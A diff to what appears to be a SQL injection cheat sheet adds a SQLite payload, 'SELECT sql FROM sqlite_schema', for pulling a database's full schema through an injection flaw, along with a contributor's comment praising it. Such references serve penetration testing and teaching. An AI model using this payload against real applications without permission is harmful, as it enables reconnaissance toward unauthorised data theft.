SQLite Injection add extract database structure
diff --git a/SQL Injection/SQLite Injection.md b/SQL Injection/SQLite Injection.md
index 1d3b8d9464..739f49d43b 100644
--- a/SQL Injection/SQLite Injection.md	
+++ b/SQL Injection/SQLite Injection.md	
@@ -4,6 +4,7 @@
 
 * [SQLite comments](#sqlite-comments)
 * [SQLite version](#sqlite-version)
+* [String based - Extract database structure](#string-based---extract-database-structure)
 * [Integer/String based - Extract table name](#integerstring-based---extract-table-name)
 * [Integer/String based - Extract column name](#integerstring-based---extract-column-name)
 * [Boolean - Count number of tables](#boolean---count-number-of-tables)
@@ -26,6 +27,12 @@
 select sqlite_version();
 ```
 
+## String based - Extract database structure
+
+```sql
+SELECT sql FROM sqlite_schema
+```
+
 ## Integer/String based - Extract table name
 
 ```sql

I've added a very useful SQLite injection used to extract the database structure, in the normal SQL format.

![image](https://user-images.githubusercontent.com/82521416/144981649-29c9998a-a724-4ba2-a1bf-c08a4b321bed.png)
